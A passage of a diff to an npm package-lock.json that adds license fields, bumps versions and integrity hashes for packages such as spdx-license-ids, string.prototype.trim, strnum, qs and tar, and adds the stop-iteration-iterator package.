       "integrity": "sha512-mf5NURdUaSdnatJx3uhoBOrY9dtL19fiOtAdT1Azxg3+lNJFiuN0uzaU3xX1LeAfL17kHQhTAJgpsfhbMJMY2g==",
       "dev": true,
+      "license": "(BSD-2-Clause OR WTFPL)",
       "peerDependencies": {
         "chai": "^4.0.0",
         "sinon": ">=4.0.0"
@@ -12134,6 +13724,7 @@
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
       "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^4.0.0"
       },
@@ -12145,6 +13736,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
       "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -12154,6 +13746,7 @@
       "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-5.0.0.tgz",
       "integrity": "sha512-FC+lgizVPfie0kkhqUScwRu1O/lF6NOgJmlCgK+/LYxDCTk8sGelYaHDhFcDN+Sn3Cv+3VSa4Byeo+IMCzpMgQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^6.0.0",
         "is-fullwidth-code-point": "^4.0.0"
@@ -12170,6 +13763,7 @@
       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz",
       "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -12181,6 +13775,7 @@
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz",
       "integrity": "sha512-vzn8aSqKgytVik0iwdBEi+zevbTYZogewTUM6dtpmGwEcdzbub/TX4bCzRhebDCRC3QzXgJsLRKB2V/Oof7HXg==",
+      "license": "MIT",
       "dependencies": {
         "is-plain-obj": "^1.0.0"
       },
@@ -12192,6 +13787,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/sort-keys-length/-/sort-keys-length-1.0.1.tgz",
       "integrity": "sha512-GRbEOUqCxemTAk/b32F2xa8wDTs+Z1QHOkbhJDQTvv/6G3ZkbJ+frYWsTcc7cBB3Fu4wy4XlLCuNtJuMn7Gsvw==",
+      "license": "MIT",
       "dependencies": {
         "sort-keys": "^1.0.0"
       },
@@ -12204,6 +13800,7 @@
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -12213,6 +13810,7 @@
       "resolved": "https://registry.npmjs.org/spawn-wrap/-/spawn-wrap-2.0.0.tgz",
       "integrity": "sha512-EeajNjfN9zMnULLwhZZQU3GWBoFNkbngTUPfaawT4RkMiviTxcX0qfhVbGey39mfctfDHkWtuecgQ8NJcyQWHg==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "foreground-child": "^2.0.0",
         "is-windows": "^1.0.2",
@@ -12230,6 +13828,7 @@
       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
       "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "semver": "^6.0.0"
       },
@@ -12245,6 +13844,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
@@ -12254,6 +13854,7 @@
       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
       "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "isexe": "^2.0.0"
       },
@@ -12269,38 +13870,43 @@
       "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz",
       "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "spdx-expression-parse": "^3.0.0",
         "spdx-license-ids": "^3.0.0"
       }
     },
     "node_modules/spdx-exceptions": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz",
-      "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==",
-      "dev": true
+      "version": "2.5.0",
+      "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz",
+      "integrity": "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==",
+      "dev": true,
+      "license": "CC-BY-3.0"
     },
     "node_modules/spdx-expression-parse": {
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz",
       "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "spdx-exceptions": "^2.1.0",
         "spdx-license-ids": "^3.0.0"
       }
     },
     "node_modules/spdx-license-ids": {
-      "version": "3.0.16",
-      "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.16.tgz",
-      "integrity": "sha512-eWN+LnM3GR6gPu35WxNgbGl8rmY1AEmoMDvL/QD6zYmPWgywxWqJWNdLGT+ke8dKNWrcYgYjPpG5gbTfghP8rw==",
-      "dev": true
+      "version": "3.0.21",
+      "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.21.tgz",
+      "integrity": "sha512-Bvg/8F5XephndSK3JffaRqdT+gyhfqIPwDHpX80tJrF8QQRYMo8sNMeaZ2Dp5+jhwKnUmIOyFFQfHRkjJm5nXg==",
+      "dev": true,
+      "license": "CC0-1.0"
     },
     "node_modules/split": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/split/-/split-1.0.1.tgz",
       "integrity": "sha512-mTyOoPbrivtXnwnIxZRFYRrPNtEFKlpB2fvjSnCQUiAA6qAZzqwna5envK4uk6OIeP17CsdF3rSBGYVBsU0Tkg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "through": "2"
       },
@@ -12312,6 +13918,7 @@
       "version": "3.2.2",
       "resolved": "https://registry.npmjs.org/split2/-/split2-3.2.2.tgz",
       "integrity": "sha512-9NThjpgZnifTkJpzTZ7Eue85S49QwpNhZTq6GRJwObb6jnLFNGB7Qm73V5HewTROPyxD0C29xqmaI68bQtV+hg==",
+      "license": "ISC",
       "dependencies": {
         "readable-stream": "^3.0.0"
       }
@@ -12319,14 +13926,19 @@
     "node_modules/sprintf-js": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
-      "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g=="
+      "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==",
+      "license": "BSD-3-Clause"
     },
     "node_modules/sprintf-kit": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/sprintf-kit/-/sprintf-kit-2.0.1.tgz",
-      "integrity": "sha512-2PNlcs3j5JflQKcg4wpdqpZ+AjhQJ2OZEo34NXDtlB0tIPG84xaaXhpA8XFacFiwjKA4m49UOYG83y3hbMn/gQ==",
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/sprintf-kit/-/sprintf-kit-2.0.2.tgz",
+      "integrity": "sha512-lnapdj6W4LflHZGKvl9eVkz5YF0xaTrqpRWVA4cNVOTedwqifIP8ooGImldzT/4IAN5KXFQAyXTdLidYVQdyag==",
+      "license": "ISC",
       "dependencies": {
-        "es5-ext": "^0.10.53"
+        "es5-ext": "^0.10.64"
+      },
+      "engines": {
+        "node": ">=0.12"
       }
     },
     "node_modules/sshpk": {
@@ -12334,6 +13946,7 @@
       "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.18.0.tgz",
       "integrity": "sha512-2p2KJZTSqQ/I3+HX42EpYOa2l3f8Erv8MWKsy2I9uf4wA7yFIkXRffYdsx86y6z4vHtV8u7g+pPlr8/4ouAxsQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "asn1": "~0.2.3",
         "assert-plus": "^1.0.0",
@@ -12359,6 +13972,7 @@
       "resolved": "https://registry.npmjs.org/standard-version/-/standard-version-9.5.0.tgz",
       "integrity": "sha512-3zWJ/mmZQsOaO+fOlsa0+QK90pwhNd042qEcw6hKFNoLFs7peGyvPffpEBbK/DSGPbyOvli0mUIFv5A4qTjh2Q==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "chalk": "^2.4.2",
         "conventional-changelog": "3.1.25",
@@ -12387,6 +14001,7 @@
       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
       "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "color-convert": "^1.9.0"
       },
@@ -12399,6 +14014,7 @@
       "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
       "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^3.2.1",
         "escape-string-regexp": "^1.0.5",
@@ -12413,6 +14029,7 @@
       "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
       "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "color-name": "1.1.3"
       }
@@ -12421,13 +14038,15 @@
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
       "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/standard-version/node_modules/escape-string-regexp": {
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
       "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.8.0"
       }
@@ -12437,6 +14056,7 @@
       "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
       "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -12446,6 +14066,7 @@
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
       "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^3.0.0"
       },
@@ -12453,10 +14074,24 @@
         "node": ">=4"
       }
     },
+    "node_modules/stop-iteration-iterator": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz",
+      "integrity": "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==",
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "internal-slot": "^1.1.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/stream-buffers": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-3.0.2.tgz",
-      "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ==",
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-3.0.3.tgz",
+      "integrity": "sha512-pqMqwQCso0PBJt2PQmDO0cFj0lyqmiwOMiMSkVtRokl7e+ZTRYgDHKnuZNbqjiJXgsg4nuqtD/zxuo9KqTp0Yw==",
+      "license": "Unlicense",
       "engines": {
         "node": ">= 0.10.0"
       }
@@ -12466,6 +14101,7 @@
       "resolved": "https://registry.npmjs.org/stream-meter/-/stream-meter-1.0.4.tgz",
       "integrity": "sha512-4sOEtrbgFotXwnEuzzsQBYEV1elAeFSO8rSGeTwabuX1RRn/kEq9JVH7I0MRBhKVRR0sJkr0M0QCH7yOLf9fhQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "readable-stream": "^2.1.4"
       }
@@ -12475,6 +14111,7 @@
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
       "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "core-util-is": "~1.0.0",
         "inherits": "~2.0.3",
@@ -12489,13 +14126,15 @@
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
       "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/stream-meter/node_modules/string_decoder": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
       "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.1.0"
       }
@@ -12504,6 +14143,7 @@
       "version": "3.2.0",
       "resolved": "https://registry.npmjs.org/stream-promise/-/stream-promise-3.2.0.tgz",
       "integrity": "sha512-P+7muTGs2C8yRcgJw/PPt61q7O517tDHiwYEzMWo1GSBCcZedUMT/clz7vUNsSxFphIlJ6QUL4GexQKlfJoVtA==",
+      "license": "ISC",
       "dependencies": {
         "2-thenable": "^1.0.0",
         "es5-ext": "^0.10.49",
@@ -12514,6 +14154,7 @@
       "version": "1.3.0",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
       "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.2.0"
       }
@@ -12523,6 +14164,7 @@
       "resolved": "https://registry.npmjs.org/string-argv/-/string-argv-0.3.2.tgz",
       "integrity": "sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.6.19"
       }
@@ -12531,6 +14173,7 @@
       "version": "4.2.3",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
       "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "license": "MIT",
       "dependencies": {
         "emoji-regex": "^8.0.0",
         "is-fullwidth-code-point": "^3.0.0",
@@ -12544,19 +14187,24 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
       "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/string.prototype.trim": {
-      "version": "1.2.8",
-      "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.8.tgz",
-      "integrity": "sha512-lfjY4HcixfQXOfaqCvcBuOIapyaroTXhbkfJN3gcB1OtyupngWK4sEET9Knd0cXd28kTUqu/kHoV4HKSJdnjiQ==",
-      "dev": true,
+      "version": "1.2.10",
+      "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz",
+      "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.2",
+        "define-data-property": "^1.1.4",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.5",
+        "es-object-atoms": "^1.0.0",
+        "has-property-descriptors": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -12566,28 +14214,35 @@
       }
     },
     "node_modules/string.prototype.trimend": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.7.tgz",
-      "integrity": "sha512-Ni79DqeB72ZFq1uH/L6zJ+DKZTkOtPIHovb3YZHQViE+HDouuU4mBrLOLDn5Dde3RF8qw5qVETEjhu9locMLvA==",
-      "dev": true,
+      "version": "1.0.9",
+      "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz",
+      "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1"
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.2",
+        "define-properties": "^1.2.1",
+        "es-object-atoms": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/string.prototype.trimstart": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.7.tgz",
-      "integrity": "sha512-NGhtDFu3jCEm7B4Fy0DpLewdJQOZcQ0rGbwQ/+stjnrp2i+rlKeCvos9hOIeCmqwratM47OBxY7uFZzjxHXmrg==",
-      "dev": true,
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz",
+      "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==",
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.22.1"
+        "call-bind": "^1.0.7",
+        "define-properties": "^1.2.1",
+        "es-object-atoms": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -12598,12 +14253,14 @@
       "resolved": "https://registry.npmjs.org/stringify-package/-/stringify-package-1.0.1.tgz",
       "integrity": "sha512-sa4DUQsYciMP1xhKWGuFM04fB0LG/9DlluZoSVywUMRNvzid6XucHK0/90xGxRoHrAaROrcHK1aPKaijCtSrhg==",
       "deprecated": "This module is not used anymore, and has been replaced by @npmcli/package-json",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/strip-ansi": {
       "version": "6.0.1",
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
       "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^5.0.1"
       },
@@ -12616,6 +14273,7 @@
       "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz",
       "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -12624,6 +14282,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/strip-dirs/-/strip-dirs-2.1.0.tgz",
       "integrity": "sha512-JOCxOeKLm2CAS73y/U4ZeZPTkE+gNVCzKt7Eox84Iej1LT/2pTWYpZKJuxwQpvX1LiZb1xokNR7RLfuBAa7T3g==",
+      "license": "MIT",
       "dependencies": {
         "is-natural-number": "^4.0.1"
       }
@@ -12633,6 +14292,7 @@
       "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-3.0.0.tgz",
       "integrity": "sha512-dOESqjYr96iWYylGObzd39EuNTa5VJxyvVAEm5Jnh7KGo75V43Hk1odPQkNDyXNmUR6k+gEiDVXnjB8HJ3crXw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -12645,6 +14305,7 @@
       "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
       "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "min-indent": "^1.0.0"
       },
@@ -12657,6 +14318,7 @@
       "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
       "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       },
@@ -12668,6 +14330,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/strip-outer/-/strip-outer-1.0.1.tgz",
       "integrity": "sha512-k55yxKHwaXnpYGsOzg4Vl8+tDrWylxDEpknGjhTiZB8dFRU5rTo9CAzeycivxV3s+zlTKwrs6WxMxR95n26kwg==",
+      "license": "MIT",
       "dependencies": {
         "escape-string-regexp": "^1.0.2"
       },
@@ -12679,19 +14342,28 @@
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
       "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.8.0"
       }
     },
     "node_modules/strnum": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/strnum/-/strnum-1.0.5.tgz",
-      "integrity": "sha512-J8bbNyKKXl5qYcR36TIO8W3mVGVHrmmxsd5PAItGkmyzwJvybiw2IVq5nqd0i4LSNSkB/sx9VHllbfFdr9k1JA=="
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/strnum/-/strnum-1.1.2.tgz",
+      "integrity": "sha512-vrN+B7DBIoTTZjnPNewwhx6cBA/H+IS7rfW68n7XxC1y7uoiGQBxaKzqucGUgavX15dJgiGztLJ8vxuEzwqBdA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/NaturalIntelligence"
+        }
+      ],
+      "license": "MIT"
     },
     "node_modules/strtok3": {
       "version": "6.3.0",
       "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-6.3.0.tgz",
       "integrity": "sha512-fZtbhtvI9I48xDSywd/somNqgUHl2L2cstmXCCif0itOf96jeW18MBSyrLuNicYQVkvpOxkZtkzujiTJ9LW5Jw==",
+      "license": "MIT",
       "dependencies": {
         "@tokenizer/token": "^0.3.0",
         "peek-readable": "^4.1.0"
@@ -12708,7 +14380,8 @@
       "version": "7.1.6",
       "resolved": "https://registry.npmjs.org/superagent/-/superagent-7.1.6.tgz",
       "integrity": "sha512-gZkVCQR1gy/oUXr+kxJMLDjla434KmSOKbx5iGD30Ql+AkJQ/YlPKECJy2nhqOsHLjGHzoDTXNSjhnvWhzKk7g==",
-      "deprecated": "Please downgrade to v7.1.5 if you need IE/ActiveXObject support OR upgrade to v8.0.0 as we no longer support IE and published an incorrect patch version (see https://github.com/visionmedia/superagent/issues/1731)",
+      "deprecated": "Please upgrade to superagent v10.2.2+, see release notes at https://github.com/forwardemail/superagent/releases/tag/v10.2.2 - maintenance is supported by Forward Email @ https://forwardemail.net",
+      "license": "MIT",
       "dependencies": {
         "component-emitter": "^1.3.0",
         "cookiejar": "^2.1.3",
@@ -12727,11 +14400,12 @@
       }
     },
     "node_modules/superagent/node_modules/qs": {
-      "version": "6.11.2",
-      "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.2.tgz",
-      "integrity": "sha512-tDNIz22aBzCDxLtVH++VnTfzxlfeK5CbqohpSqpJgj1Wg/cQbStNAz3NuqCs5vV+pjBsK4x4pN9HlVh7rcYRiA==",
+      "version": "6.14.0",
+      "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.0.tgz",
+      "integrity": "sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w==",
+      "license": "BSD-3-Clause",
       "dependencies": {
-        "side-channel": "^1.0.4"
+        "side-channel": "^1.1.0"
       },
       "engines": {
         "node": ">=0.6"
@@ -12744,6 +14418,7 @@
       "version": "8.1.1",
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
       "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^4.0.0"
       },
@@ -12759,6 +14434,7 @@
       "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
       "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       },
@@ -12767,9 +14443,10 @@
       }
     },
     "node_modules/tar": {
-      "version": "6.2.0",
-      "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.0.tgz",
-      "integrity": "sha512-/Wo7DcT0u5HUV486xg675HtjNd3BXZ6xDbzsCUZPt5iw8bTQ63bP0Raut3mvro9u+CUyq7YQd8Cx55fsZXxqLQ==",
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz",
